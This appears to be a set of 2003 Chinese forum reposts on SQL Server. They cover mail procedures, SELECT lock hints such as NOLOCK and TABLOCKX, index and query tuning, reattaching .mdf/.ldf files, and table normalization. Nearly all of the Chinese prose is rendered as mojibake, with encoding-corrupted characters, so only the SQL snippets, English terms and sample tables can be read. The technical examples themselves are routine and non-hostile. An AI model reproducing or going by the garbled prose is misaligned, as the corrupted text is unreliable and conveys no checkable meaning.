@message ÐÅÏ¢
@recipients ÊÕ¼þÈË
@skip_tytes ¶ÁÈ¡ÓʼþÐÅϢʱÌø¹ýµÄ×Ö½ÚÊý£¬ÓÃÓÚ˳Ðò»ñÈ¡ÓʼþÐÅÏ¢¶Î¡£
@msg_length È·¶¨ËùÓÐÐÅÏ¢µÄ³¤¶È£¬Í¨³£Óë@skip_bytesÒ»Æð´¦Àí³¤ÐÅÏ¢

Î塢˳Ðò´¦ÀíÏÂÒ»¸öÓʼþ

    xp_findnextmsg [[@msg_id =] 'message_number' [OUTPUT]]
        [,[@type =] type]
        [,[@unread_only =] 'unread_value'])

Áù¡¢É¾³ýÓʼþ

    xp_deletemail {'message_number'}

    Èç¹û²»Ö¸¶¨Óʼþ±àºÅÔòɾ³ýÊÕ¼þÏäÖеÄËùÓÐÓʼþ

Æß¡¢×Ô¶¯´¦ÀíÓʼþ

    sp_processmail [[@subject =] 'subject']
        [,[@filetype =] 'filetype']
        [,[@separator =] 'separator']
        [,[@set_user =] 'user']
        [,[@dbuse =] 'dbname']
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:10
SELECTÓï¾äÖÐ"¼ÓËøÑ¡Ïî"µÄ¹¦ÄÜ˵Ã÷
£¨×ªÔØ×Ô΢Èí£©

---Õª×Ô¡¶ChinaASPÍøÂç¡·
SELECT Óï¾äÖС°¼ÓËøÑ¡ÏµÄ¹¦ÄÜ˵Ã÷
SQL ServerÌṩÁËÇ¿´ó¶øÍ걸µÄËø»úÖÆÀ´°ïÖúʵÏÖÊý¾Ý¿âϵͳµÄ²¢·¢ÐԺ͸ßÐÔÄÜ¡£Óû§¼ÈÄÜʹÓÃSQL ServerµÄȱʡÉèÖÃÒ²¿ÉÒÔÔÚselect Óï¾äÖÐʹÓá°¼ÓËøÑ¡ÏÀ´ÊµÏÖÔ¤ÆÚµÄЧ¹û¡£ ±¾ÎĽéÉÜÁËSELECTÓï¾äÖеĸ÷Ïî¡°¼ÓËøÑ¡ÏÒÔ¼°ÏàÓ¦µÄ¹¦ÄÜ˵Ã÷¡£
¹¦ÄÜ˵Ã÷£º¡¡
NOLOCK£¨²»¼ÓËø£©
´ËÑ¡ÏѡÖÐʱ£¬SQL Server ÔÚ¶ÁÈ¡»òÐÞ¸ÄÊý¾Ýʱ²»¼ÓÈκÎËø¡£ ÔÚÕâÖÖÇé¿öÏ£¬Óû§ÓпÉÄܶÁÈ¡µ½Î´Íê³ÉÊÂÎñ£¨Uncommited Transaction£©»ò»Ø¹ö(Roll Back)ÖеÄÊý¾Ý, ¼´ËùνµÄ¡°ÔàÊý¾Ý¡±¡£

HOLDLOCK£¨±£³ÖËø£©
´ËÑ¡ÏѡÖÐʱ£¬SQL Server »á½«´Ë¹²ÏíËø±£³ÖÖÁÕû¸öÊÂÎñ½áÊø£¬¶ø²»»áÔÚ;ÖÐÊÍ·Å¡£

UPDLOCK£¨ÐÞ¸ÄËø£©
´ËÑ¡ÏѡÖÐʱ£¬SQL Server ÔÚ¶ÁÈ¡Êý¾ÝʱʹÓÃÐÞ¸ÄËøÀ´´úÌæ¹²ÏíËø£¬²¢½«´ËËø±£³ÖÖÁÕû¸öÊÂÎñ»òÃüÁî½áÊø¡£Ê¹ÓôËÑ¡ÏîÄܹ»±£Ö¤¶à¸ö½ø³ÌÄÜͬʱ¶ÁÈ¡Êý¾Ýµ«Ö»Óиýø³ÌÄÜÐÞ¸ÄÊý¾Ý¡£

TABLOCK£¨±íËø£©
´ËÑ¡ÏѡÖÐʱ£¬SQL Server ½«ÔÚÕû¸ö±íÉÏÖù²ÏíËøÖ±ÖÁ¸ÃÃüÁî½áÊø¡£ Õâ¸öÑ¡Ïî±£Ö¤ÆäËû½ø³ÌÖ»ÄܶÁÈ¡¶ø²»ÄÜÐÞ¸ÄÊý¾Ý¡£

PAGLOCK£¨Ò³Ëø£©
´ËÑ¡ÏîΪĬÈÏÑ¡Ï µ±±»Ñ¡ÖÐʱ£¬SQL Server ʹÓù²ÏíÒ³Ëø¡£

TABLOCKX£¨ÅÅËü±íËø£©
´ËÑ¡ÏѡÖÐʱ£¬SQL Server ½«ÔÚÕû¸ö±íÉÏÖÃÅÅËüËøÖ±ÖÁ¸ÃÃüÁî»òÊÂÎñ½áÊø¡£Õ⽫·ÀÖ¹ÆäËû½ø³Ì¶ÁÈ¡»òÐ޸ıíÖеÄÊý¾Ý¡£

ʹÓÃÕâЩѡÏʹϵͳºöÂÔÔ­ÏÈÔÚSETÓï¾äÉ趨µÄÊÂÎñ¸ôÀ뼶±ð£¨Transaction Isolation Level)¡£ Çë²éÔÄSQL Server Áª»úÊÖ²á»ñÈ¡¸ü¶àÐÅÏ¢¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:10
ÏìSQL serverÐÔÄܵĹؼüÈý¸ö·½Ãæ

---Õª×Ô¡¶China ASPÍøÂç¡·
1 Âß¼­Êý¾Ý¿âºÍ±íµÄÉè¼Æ
    Êý¾Ý¿âµÄÂß¼­Éè¼Æ¡¢°üÀ¨±íÓë±íÖ®¼äµÄ¹ØϵÊÇÓÅ»¯¹ØϵÐÍÊý¾Ý¿âÐÔÄܵĺËÐÄ¡£Ò»¸öºÃµÄÂß¼­Êý¾Ý¿âÉè¼Æ¿ÉÒÔΪÓÅ»¯Êý¾Ý¿âºÍÓ¦ÓóÌÐò´òÏÂÁ¼ºÃµÄ»ù´¡¡£

    ±ê×¼»¯µÄÊý¾Ý¿âÂß¼­Éè¼Æ°üÀ¨ÓöàµÄ¡¢ÓÐÏ໥¹ØϵµÄÕ­±íÀ´´úÌæºÜ¶àÁеij¤Êý¾Ý±í¡£ÏÂÃæÊÇһЩʹÓñê×¼»¯
±íµÄһЩºÃ´¦¡£

    A:ÓÉÓÚ±íÕ­£¬Òò´Ë¿ÉÒÔʹÅÅÐòºÍ½¨Á¢Ë÷Òý¸üΪѸËÙ

    B:ÓÉÓÚ¶à±í£¬ËùÒÔ¶àïßµÄË÷Òý³ÉΪ¿ÉÄÜ

    C:¸üÕ­¸ü½ô´ÕµÄË÷Òý

    D:ÿ¸ö±íÖпÉÒÔÓÐÉÙһЩµÄË÷Òý£¬Òò´Ë¿ÉÒÔÌá¸ßinsert update deleteµÈµÄËٶȣ¬ÒòΪÕâЩ²Ù×÷ÔÚË÷Òý

    ¶àµÄÇé¿öÏ»á¶ÔϵͳÐÔÄܲúÉúºÜ´óµÄÓ°Ïì

    E:¸üÉٵĿÕÖµºÍ¸üÉٵĶàÓàÖµ£¬Ôö¼ÓÁËÊý¾Ý¿âµÄ½ô´ÕÐÔ

    ÓÉÓÚ±ê×¼»¯£¬ËùÒÔ»áÔö¼ÓÁËÔÚ»ñÈ¡Êý¾ÝʱÒýÓñíµÄÊýÄ¿ºÍÆä¼äµÄÁ¬½Ó¹ØϵµÄ¸´ÔÓÐÔ¡£Ì«¶àµÄ±íºÍ¸´ÔÓµÄÁ¬½Ó¹Øϵ»á½µµÍ·þÎñÆ÷µÄÐÔÄÜ£¬Òò´ËÔÚÕâÁ½ÕßÖ®¼äÐèÒª×ۺϿ¼ÂÇ¡£
    ¶¨Òå¾ßÓÐÏà¹Ø¹ØϵµÄÖ÷¼üºÍÍâÀ´¼üʱӦ¸Ã×¢ÒâµÄÊÂÏîÖ÷ÒªÊÇ£ºÓÃÓÚÁ¬½Ó¶à±íµÄÖ÷¼üºÍ²Î¿¼µÄ¼üÒªÓÐÏàͬµÄÊý¾ÝÀàÐÍ¡£

2 Ë÷ÒýµÄÉè¼Æ
A:¾¡Á¿±ÜÃâ±íɨÃè
¼ì²éÄãµÄ²éѯÓï¾äµÄwhere×Ӿ䣬ÒòΪÕâÊÇÓÅ»¯Æ÷ÖØÒª¹Ø×¢µÄµØ·½¡£°üº¬ÔÚwhereÀïÃæµÄÿһÁУ¨column)¶¼ÊÇ¿ÉÄܵĺîÑ¡Ë÷Òý£¬ÎªÄÜ´ïµ½×îÓŵÄÐÔÄÜ£¬¿¼ÂÇÔÚÏÂÃæ¸ø³öµÄÀý×Ó£º¶ÔÓÚÔÚwhere×Ó¾äÖиø³öÁËcolumn1Õâ¸öÁС£
ÏÂÃæµÄÁ½¸öÌõ¼þ¿ÉÒÔÌá¸ßË÷ÒýµÄÓÅ»¯²éѯÐÔÄÜ£¡
µÚÒ»£ºÔÚ±íÖеÄcolumn1ÁÐÉÏÓÐÒ»¸öµ¥Ë÷Òý
µÚ¶þ£ºÔÚ±íÖÐÓжàË÷Òý£¬µ«ÊÇcolumn1ÊǵÚÒ»¸öË÷ÒýµÄÁÐ
±ÜÃⶨÒå¶àË÷Òý¶øcolumn1Êǵڶþ¸ö»òºóÃæµÄË÷Òý£¬ÕâÑùµÄË÷Òý²»ÄÜÓÅ»¯·þÎñÆ÷ÐÔÄÜ
ÀýÈ磺ÏÂÃæµÄÀý×ÓÓÃÁËpubsÊý¾Ý¿â¡£
SELECT au_id, au_lname, au_fname FROM authors
WHERE au_lname = 'White'
°´ÏÂÃ漸¸öÁÐÉϽ¨Á¢µÄË÷Òý½«»áÊǶÔÓÅ»¯Æ÷ÓÐÓõÄË÷Òý
?au_lname
?au_lname, au_fname
¶øÔÚÏÂÃ漸¸öÁÐÉϽ¨Á¢µÄË÷Òý½«²»»á¶ÔÓÅ»¯Æ÷Æ𵽺õÄ×÷ÓÃ
?au_address
?au_fname, au_lname
    ¿¼ÂÇʹÓÃÕ­µÄË÷ÒýÔÚÒ»¸ö»òÁ½¸öÁÐÉÏ£¬Õ­Ë÷Òý±È¶àË÷ÒýºÍ¸´ºÏË÷Òý¸üÄÜÓÐЧ¡£ÓÃÕ­µÄË÷Òý£¬ÔÚÿһҳÉÏ
½«»áÓиü¶àµÄÐк͸üÉÙµÄË÷Òý¼¶±ð£¨Ïà¶ÔÓë¶àË÷ÒýºÍ¸´ºÏË÷Òý¶øÑÔ£©£¬Õ⽫ÍƽøϵͳÐÔÄÜ¡£
    ¶ÔÓÚ¶àÁÐË÷Òý£¬SQL Serverά³ÖÒ»¸öÔÚËùÓÐÁеÄË÷ÒýÉϵÄÃܶÈͳ¼Æ£¨ÓÃÓÚÁªºÏ£©ºÍÔÚµÚÒ»¸öË÷ÒýÉϵÄ
histogram£¨Öù״ͼ£©Í³¼Æ¡£¸ù¾Ýͳ¼Æ½á¹û£¬Èç¹ûÔÚ¸´ºÏË÷ÒýÉϵĵÚÒ»¸öË÷ÒýºÜÉÙ±»Ñ¡ÔñʹÓã¬ÄÇôÓÅ»¯Æ÷¶ÔºÜ¶à²éѯÇëÇ󽫲»»áʹÓÃË÷Òý¡£
    ÓÐÓõÄË÷Òý»áÌá¸ßselectÓï¾äµÄÐÔÄÜ£¬°üÀ¨insert,uodate,delete¡£
    µ«ÊÇ£¬ÓÉÓڸıäÒ»¸ö±íµÄÄÚÈÝ£¬½«»áÓ°ÏìË÷Òý¡£Ã¿Ò»¸öinsert,update,deleteÓï¾ä½«»áʹÐÔÄÜϽµÒ»Ð©¡£ÊµÑé±íÃ÷£¬²»ÒªÔÚÒ»¸öµ¥±íÉÏÓôóÁ¿µÄË÷Òý£¬²»ÒªÔÚ¹²ÏíµÄÁÐÉÏ£¨Ö¸ÔÚ¶à±íÖÐÓÃÁ˲ο¼Ô¼Êø£©Ê¹ÓÃÖصþµÄË÷Òý¡£
    ÔÚijһÁÐÉϼì²éΨһµÄÊý¾ÝµÄ¸öÊý£¬±È½ÏËüÓë±íÖÐÊý¾ÝµÄÐÐÊý×öÒ»¸ö±È½Ï¡£Õâ¾ÍÊÇÊý¾ÝµÄÑ¡ÔñÐÔ£¬Õâ±È½Ï½á¹û½«»á°ïÖúÄã¾ö¶¨ÊÇ·ñ½«Ä³Ò»ÁÐ×÷ΪºîÑ¡µÄË÷ÒýÁУ¬Èç¹ûÐèÒª£¬½¨ÄÄÒ»ÖÖË÷Òý¡£Äã¿ÉÒÔÓÃÏÂÃæµÄ²éѯÓï¾ä·µ»ØijһÁеIJ»Í¬ÖµµÄÊýÄ¿¡£
select count(distinct cloumn_name) from table_name
¼ÙÉècolumn_nameÊÇÒ»¸ö10000ÐÐµÄ±í£¬Ôò¿´column_name·µ»ØÖµÀ´¾ö¶¨ÊÇ·ñÓ¦¸ÃʹÓ㬼°Ó¦¸ÃʹÓÃʲôË÷Òý¡£
Unique values    Index

5000    Nonclustered index
20    Clustered index
3    No index

ïßË÷ÒýºÍ·ÇïßË÷ÒýµÄÑ¡Ôñ

<1:>ïßË÷ÒýÊÇÐеÄÎïÀí˳ÐòºÍË÷ÒýµÄ˳ÐòÊÇÒ»Öµġ£Ò³¼¶£¬µÍ²ãµÈË÷ÒýµÄ¸÷¸ö¼¶±ðÉ϶¼°üº¬Êµ¼ÊµÄÊý¾ÝÒ³¡£Ò»¸ö±íÖ»ÄÜÊÇÓÐÒ»¸öïßË÷Òý¡£ÓÉÓÚupdate,deleteÓï¾äÒªÇóÏà¶Ô¶àһЩµÄ¶Á²Ù×÷£¬Òò´ËïßË÷Òý³£³£ÄܼÓËÙÕâÑùµÄ²Ù×÷¡£ÔÚÖÁÉÙÓÐÒ»¸öË÷ÒýµÄ±íÖУ¬ÄãÓ¦¸ÃÓÐÒ»¸öïßË÷Òý¡£
ÔÚÏÂÃæµÄ¼¸¸öÇé¿öÏ£¬Äã¿ÉÒÔ¿¼ÂÇÓÃïßË÷Òý£º
ÀýÈ磺 ijÁаüÀ¨µÄ²»Í¬ÖµµÄ¸öÊýÊÇÓÐÏ޵ģ¨µ«ÊDz»ÊǼ«Éٵģ©
       ¹Ë¿Í±íµÄÖÝÃûÁÐÓÐ50¸ö×óÓҵIJ»Í¬ÖÝÃûµÄËõдֵ£¬¿ÉÒÔʹÓÃïßË÷Òý¡£
ÀýÈ磺 ¶Ô·µ»ØÒ»¶¨·¶Î§ÄÚÖµµÄÁпÉÒÔʹÓÃïßË÷Òý£¬±ÈÈçÓÃbetween,>,>=,<,<=µÈµÈÀ´¶ÔÁнøÐвÙ×÷µÄÁÐÉÏ¡£
       select * from sales where ord_date between '5/1/93' and '6/1/93'
ÀýÈ磺 ¶Ô²éѯʱ·µ»Ø´óÁ¿½á¹ûµÄÁпÉÒÔʹÓÃïßË÷Òý¡£
       SELECT * FROM phonebook WHERE last_name = 'Smith'

µ±ÓдóÁ¿µÄÐÐÕýÔÚ±»²åÈë±íÖÐʱ£¬Òª±ÜÃâÔÚ±¾±íÒ»¸ö×ÔÈ»Ôö³¤£¨ÀýÈ磬identityÁУ©µÄÁÐÉϽ¨Á¢ïßË÷Òý¡£Èç¹ûÄ㽨Á¢ÁËïßµÄË÷Òý£¬ÄÇôinsertµÄÐÔÄܾͻá´ó´ó½µµÍ¡£ÒòΪÿһ¸ö²åÈëµÄÐбØÐëµ½±íµÄ×îºó£¬±íµÄ×îºóÒ»¸öÊý¾ÝÒ³¡£
µ±Ò»¸öÊý¾ÝÕýÔÚ±»²åÈ루ÕâʱÕâ¸öÊý¾ÝÒ³ÊDZ»Ëø¶¨µÄ£©£¬ËùÓеÄÆäËû²åÈëÐбØÐëµÈ´ýÖ±µ½µ±Ç°µÄ²åÈëÒѾ­½áÊø¡£
Ò»¸öË÷ÒýµÄÒ¶¼¶Ò³ÖаüÀ¨Êµ¼ÊµÄÊý¾ÝÒ³£¬²¢ÇÒÔÚÓ²ÅÌÉϵÄÊý¾ÝÒ³µÄ´ÎÐòÊǸúïßË÷ÒýµÄÂß¼­´ÎÐòÒ»ÑùµÄ¡£

<2:>Ò»¸ö·ÇïßµÄË÷Òý¾ÍÊÇÐеÄÎïÀí´ÎÐòÓëË÷ÒýµÄ´ÎÐòÊDz»Í¬µÄ¡£Ò»¸ö·ÇïßË÷ÒýµÄÒ¶¼¶°üº¬ÁËÖ¸ÏòÐÐÊý¾ÝÒ³µÄÖ¸Õë¡£
ÔÚÒ»¸ö±íÖпÉÒÔÓжà¸ö·ÇïßË÷Òý£¬Äã¿ÉÒÔÔÚÒÔϼ¸¸öÇé¿öÏ¿¼ÂÇʹÓ÷ÇïßË÷Òý¡£
ÔÚÓкܶ಻ֵͬµÄÁÐÉÏ¿ÉÒÔ¿¼ÂÇʹÓ÷ÇïßË÷Òý
ÀýÈ磺һ¸öpart_idÁÐÔÚÒ»¸öpart±íÖÐ
      select * from employee where emp_id = 'pcm9809f'
    ²éѯÓï¾äÖÐÓÃorder by ×Ó¾äµÄÁÐÉÏ¿ÉÒÔ¿¼ÂÇʹÓÃïßË÷Òý

3 ²éѯÓï¾äµÄÉè¼Æ<br>
SQL ServerÓÅ»¯Æ÷ͨ¹ý·ÖÎö²éѯÓï¾ä£¬×Ô¶¯¶Ô²éѯ½øÐÐÓÅ»¯²¢¾ö¶¨×îÓÐЧµÄÖ´Ðз½°¸¡£ÓÅ»¯Æ÷·ÖÎö²éѯÓï¾äÀ´¾ö¶¨ÄǸö×Ó¾ä¿ÉÒÔ±»ÓÅ»¯£¬²¢Õë¶Ô¿ÉÒÔ±»ÓÅ»¯²éѯµÄ×Ó¾äÀ´Ñ¡ÔñÓÐÓõÄË÷Òý¡£×îºóÓÅ»¯Æ÷±È½ÏËùÓпÉÄܵÄÖ´Ðз½°¸²¢Ñ¡Ôñ×îÓÐЧµÄÒ»¸ö·½°¸³öÀ´¡£
ÔÚÖ´ÐÐÒ»¸ö²éѯʱ£¬ÓÃÒ»¸öwhere×Ó¾äÀ´ÏÞÖƱØÐë´¦ÀíµÄÐÐÊý£¬³ý·ÇÍêÈ«ÐèÒª£¬·ñÔòÓ¦¸Ã±ÜÃâÔÚÒ»¸ö±íÖÐÎÞÏÞÖƵضÁ²¢´¦ÀíËùÓеÄÐС£
ÀýÈçÏÂÃæµÄÀý×Ó£¬
select qty from sales where stor_id=7131
ÊǺÜÓÐЧµÄ±ÈÏÂÃæÕâ¸öÎÞÏÞÖƵIJéѯ
select qty from sales
±ÜÃâ¸ø¿Í»§µÄ×îºóÊý¾ÝÑ¡Ôñ·µ»Ø´óÁ¿µÄ½á¹û¼¯¡£ÔÊÐíSQL ServerÔËÐÐÂú×ãËüÄ¿µÄµÄº¯ÊýÏÞÖƽá¹û¼¯µÄ´óСÊǸüÓÐЧµÄ¡£
ÕâÄܼõÉÙÍøÂçI/O²¢ÄÜÌá¸ß¶àÓû§µÄÏà¹Ø²¢·¢Ê±µÄÓ¦ÓóÌÐòÐÔÄÜ¡£ÒòΪÓÅ»¯Æ÷¹Ø×¢µÄ½¹µã¾ÍÊÇwhere×Ó¾äµÄ²éѯ£¬ÒÔÀûÓÃÓÐÓõÄË÷Òý¡£ÔÚ±íÖеÄÿһ¸öË÷Òý¶¼¿ÉÄܳÉΪ°üÀ¨ÔÚwhere×Ó¾äÖеĺîÑ¡Ë÷Òý¡£ÎªÁË×îºÃµÄÐÔÄÜ¿ÉÒÔ×ñÕÕÏÂÃæµÄÓÃÓÚÒ»¸ö¸ø¶¨ÁÐcolumn1µÄË÷Òý¡£
µÚÒ»£ºÔÚ±íÖеÄcolumn1ÁÐÉÏÓÐÒ»¸öµ¥Ë÷Òý
µÚ¶þ£ºÔÚ±íÖÐÓжàË÷Òý£¬µ«ÊÇcolumn1ÊǵÚÒ»¸öË÷ÒýµÄÁв»ÒªÔÚwhere×Ó¾äÖÐʹÓÃûÓÐcolumn1ÁÐË÷ÒýµÄ²éѯÓï¾ä£¬²¢±ÜÃâÔÚwhere×Ó¾äÓÃÒ»¸ö¶àË÷ÒýµÄ·ÇµÚÒ»¸öË÷ÒýµÄË÷Òý¡£
Õâʱ¶àË÷ÒýÊÇûÓÐÓõġ£
For example, given a multicolumn index on the au_lname, au_fname columns of the authors table in
the pubs database,
ÏÂÃæÕâ¸öqueryÓï¾äÀûÓÃÁËau_lnameÉϵÄË÷Òý
    SELECT au_id, au_lname, au_fname FROM authors
    WHERE au_lname = 'White'
    AND au_fname = 'Johnson'
    SELECT au_id, au_lname, au_fname FROM authors
    WHERE au_lname = 'White'
ÏÂÃæÕâ¸ö²éѯûÓÐÀûÓÃË÷Òý£¬ÒòΪËûʹÓÃÁ˶àË÷ÒýµÄ·ÇµÚÒ»¸öË÷ÒýµÄË÷Òý
    SELECT au_id, au_lname, au_fname FROM authors
    WHERE au_fname = 'Johnson'
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:11
¿½±´µÄSQL Server 7Êý¾Ý¿âµÄ»Ö¸´·½·¨

---Õª×Ô¡¶ChinaASPÍøÂç¡·
    ÔÚSQL Server 7ÖÐÓÉÓÚMSÖØÐÂÉè¼ÆÁËÊý¾Ý¿âÎļþµÄ´æ´¢·½Ê½£¬È¡ÏûÁËн¨É豸ÔÙ½¨Êý¾Ý¿âÕâÒ»·±ËöµÄ¹ý³Ì¡£ÐµĴ洢¸ñʽ,Ò»¸öÊý¾Ý¿â°üÀ¨Á½¸öÎļþ£¬mdfÊý¾Ý¿âÎļþºÍldfÈÕÖ¾Îļþ¡£ËùÒÔÎÒÃÇÔÚÖØ×°»úÆ÷±¸·Ýʱ¿ÉÒÔ°ÑÄãÒª±¸·ÝµÄÊý¾Ý¿âµÄÕâÁ½¸öÎļþ¿½±´³öÀ´£¬ÖØа²×°Ö®ºóÔÙ»Ö¸´¡£
¡¡¡¡ÔÚSQL ServerÖÐÌṩÁËÕâÖÖ»Ö¸´·½Ê½µÄ´æ´¢¹ý³Ì¡£
    1.sp_attach_db [@dbname =] 'dbname',[@filename1 =] 'filename_n'
     ¸øϵͳÌí¼ÓÒ»¸öÊý¾Ý¿â£¬ÔÚdbnameÖ¸¶¨Êý¾Ý¿âÃû³Æ£¬filename£ßnÖ¸¶¨Êý¾Ý¿âµÄÎļþºÍÈÕÖ¾Îļþ¡£±ÈÈçÎÒÓÐÒ»¸övoogiyaµÄ¿â£¬Í£Ö¹SQL Server·þÎñ±¸·Ývoogiya_data.mdf,voogiya_log.ldf£¬Æô¶¯SQL server,ɾ³ýµôÕâ¸ö¿â£¬È»ºóÔÙ°ÑÕâÁ½ÉÏÎļþ¿½µ½sql server¡¡DATAĿ¼ÖУ¬ÔÚQuery AnalyzerÖÐÖ´ÐÐÈçÏÂÓï¾ä£º
    EXEC sp_attach_db @dbname = N'voogiya',
    @filename1 = N'd:\mssql7\data\voogiya_data.mdf',
    @filename2 = N'd:\mssql7\data\voogiya_log.ldf'
¾Í»á°ÑÕâ¸ö¿â¼ÓÈëµ½SQL Server GroupÖÐ.
    2.sp_attach_single_file_db [@dbname =] 'dbname',
    [@physname =] 'physical_name'
     Õâ¸öÃüÁîºÍÉÏÃæµÄ¹¦ÄÜÒ»Ñù£¬ÔÚphysical_nameÖÐֻҪдÉϾݿâµÄÎïÀíÎļþÃû¾Í¿ÉÒÔÁË£¬ÈÕÖ¾ÎļþSQL server»áÖØн¨Á¢¡£Õâ¸ö´æ´¢¹ý³ÌµÄÔËÐÐÒªÏÈÖ´ÐÐÏÂÃæµÄ´æ´¢¹ý³Ì£º
     sp_detach_db @dbname = 'dbname'
     Í¬ÑùÒÔÉÏÃæµÄΪÀý£º
     EXEC sp_detach_db @dbname = 'voogiya'
     EXEC sp_attach_single_file_db @dbname = 'voogiya',
    @physname = 'd:\mssql7\data\voogiya_data.mdf'
   

ҪעÒâÖ´ÐÐÒÔÉÏ´æ´¢¹ý³ÌµÄÓû§ÒªÔÚsysadminÖÐ.

ÒÔÉÏ·½·¨ÔÚwindows Nt 4.0,service pack5,sql server 7.0ÉÏÔËÐÐͨ¹ý¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:12
½¨Á¢¸ßЧµÄÊý¾Ý¿âÓ¦ÓóÌÐò

---Õª×Ô¡¶ChinaASPÍøÂç¡·(ÎÄ/¶Üç)
¹Ø¼ü´Ê£ºSql Server, ASP, NT

    Ê×ÏÈ£¬±¾ÎÄÊÇ¡¶È«ÃæÓÅ»¯ADO¡·Ò»ÎĵIJ¹³äºÍÐÞÕý¡£Æä´Î£¬±¾ÎÄÊÇÕë¶ÔADO2.1ºÍMicrosoft SQL Server 7.0¶øдµÄ£¬µ«ÆäÖд󲿷ÖÄÚÈݶÔÆäËüÊý¾Ý¿â·ÃÎÊ×é¼þ£¨¿Ø¼þ£©ºÍÆäËüÊý¾Ý¿âÒ²ÊÇÓÐЧµÄ¡£

Agenda
Design a database
Ê×ÏȺù¹½¨Ò»¸öºÃµÄÊý¾Ý¿â½á¹¹ºÍË÷Òý½á¹¹£¬²Å̸µÃÉϸßЧµÄ·ÃÎÊÊý¾Ý¿â¡£
   
Cursors
·ÃÎÊÊý¾Ý¿âÎ޿ɱÜÃâµÄÒª¾­³£Ê¹ÓÃÓα꣬µ½µ×¸ÃʹÓÃÄÄÒ»ÖÖÄØ£¿
   
ASP Codes
Ò»µãϸ֦ĩ½ÚµÄÎÊÌ⣬´úÂëÉϵÄССÓÅ»¯¡£

Design a database
¹ØϵÐÍÊý¾Ý¿âÉè¼ÆµÄ¹æ·¶»¯·¶Ê½

±í½á¹¹Öв»Äܺ¬ÓÐÈκÎÖظ´µÄÊý¾Ý×ֶΣ¨Ë׳ơ°ºá×ÅµÄ±í¡±8-£©¡£
ÈçÒ»¸ö±íÏë¼Ç¼ÿһ¸öÇóÖ°ÕßµÄÐÕÃûºÍÈô¸É µç»°ºÅÂë
±ícandidates

Can_id  Can_name Can_telno1 Can_telno2 Can_telno3 ...
1144 Dell¡¯Abate 916-555-2933 714-555-0900 714-555-0901 ....
1145 Zanevesky 408-555-9550 602-555-8310 408-555-9553 ...
¹Ì¶¨¸öÊýµÄÖظ´×ֶλ¹ÊÇ¿ÉÒÔ½ÓÊܵġ£±ÈÈçÓÃÒ»ÐÐÃèÊöÒ»¸öÐÇÆÚ£¬Ã¿ÌìÓÃÒ»ÁÐÀ´±íʾ£¬ºÜ×ÔÈ»µÄÊ¡£ÕæÕý³ÉÎÊÌâµÄÊÇ£¬¸öÊý²»¶¨µÄÖظ´×ֶΡ£
Èô¸Éµç»°ºÅÂë¾ÍÊÇÖظ´µÄ×ֶΡ£³õ¿´Ë³Àí³ÉÕ£¬È»¶øµÈµ½Òª²Ù×÷ËûÃǵÄʱºò£¬¾Í»áÓÐÕâÑùÄÇÑùµÄÎÊÌâ³öÏÖÁË¡£±ÈÈ磬ÎÒÒªÅÅÐòÁгöijÈ˵ÄËùÓе绰ºÅÂ룬ÕâÊÇ×î»ù±¾µÄ²Ù×÷ÁË£¬¿É¾ÍÁ¬Èç´Ë¼òµ¥µÄÒªÇ󣬶¼²»ÈÝÒ×ʵÏÖ¡£¿ÉÒÔ˵£¬ÕâÊÇ¿ª·¢Ð§ÂÊ£¬ÔËÐÐЧÂÊ¡°Ë«²î¡±µÄÉè¼Æ£¬ÊÇÓ¦¸Ã±ÜÃâµÄ¡£


Õý¹æµÄÉè¼Æ·½°¸ÈçÏÂ
±ícandidates
Can_id  Can_name
1144 Dell¡¯Abate
1145 Zanevesky

±ícandidates_phone
Can_id  Phone_sequence Phonecode
1144  1 916-555-2933
1144  2 714-555-0900
1145  1 408-555-9550
1145  2 602-555-8310
ÓÚÊǺõ£¬¼òµ¥ÎÊÌâ¾ÍÄܼòµ¥¸ã¶¨ÁË¡£select Phonecode from candidates_phone where Can_id= ? order by candidates_phone  ÔÙ½áºÏÏÂÊöµÄË÷Òý£¬¡°Ë«¸ß¡±µÄÉè¼ÆÊǵ±Ö®ÎÞÀ¢ÁË¡£:-)

ÿһÁоùº¯ÊýÐÔµØÒÀÀµÓÚÖ÷¹Ø¼ü×Ö£¬
±íservice_record

Lot_id  Procedure_id  Address  Description  Date_of_work
1767  103  2454 Legion Street  Tree trimming Nov 15 1997
1767  11  2454 Legion Street Winterize  Dec 01 1997
955  7  707 Condador Rd Furnace repair Dec 03 1997
. . . . .
Ö÷¹Ø¼ü×ÖÊÇLot_id ºÍProcedure_id ×éºÏ£¬µ«ÆäÖÐAddressÊÇÒÀÀµÓÚLot_idµÄ£¬DescriptionÊÇÒÀÀµÓÚProcedure_idµÄ£¬ºÜÃ÷ÏԵزúÉúÁËÈßÓ࣬ ËùÒÔÓ¦°ÑÕâÕűí²ð¿ª¡£

±íÖмǼ·ûºÏµÚ¶þ·¶Ê½ÇÒ²»´æÔÚ´«µÝÒÀÀµ

ʲô½Ð´«µÝÒÀÀµÄØ£¿¼òµ¥µÄ˵£¬Ä³¸ö×ֶεÄÖµ¿ÉÒÔÓÉÁíÒ»¸ö·ÇÖ÷¹Ø¼ü×ֵĵÄ×ֶξö¶¨µÄ»°£¬¾Í²úÉúÁË´«µÝÒÀÀµ¡£±ÈÈçÔÚ±íÖд洢ƽ¾ùÖµ¡¢×ܺͣ¬»òÕßÊÇÕâÑùµÄÇé¿ö£º ID BoardID UserID Username Topic Content
1 1 1 Master ²âÊÔ Null

ÕâÕűíÖдæ·ÅÁËUserIDºÍUserName£¬¶øUsernameÊÇ¿ÉÒÔÓÉUserID¾ö¶¨µÄ£¬Ò²´æÔÚÈßÓ࣬ËùÒÔÕâÒ²ÊÇÒ»¸ö´«µÝÒÀÀµ¡£
  


¼ÆËãÖµ

    Ò»¸öÉè¼ÆÕýͳµÄ¹ØϵÊý¾Ý¿â²»´æ´¢ÈκμÆËãÊý¾ÝÈç×ܺ͡¢Æ½¾ùÖµ¡¢×î´óÖµºÍ×îСֵ¡£ÕâЩֵͨ³£ÔÚ²éѯµÄʱºòÀûÓûù±¾Êý¾ÝÀ´¼ÆËã¡£
     µ«ÊÇ£¬ÔÚһЩ³¡ºÏ£¬²ÉÓô洢¼ÆËãÖµµÄ·½·¨¿ÉÄܸü¼òµ¥¡¢¸ü¿ì¡£
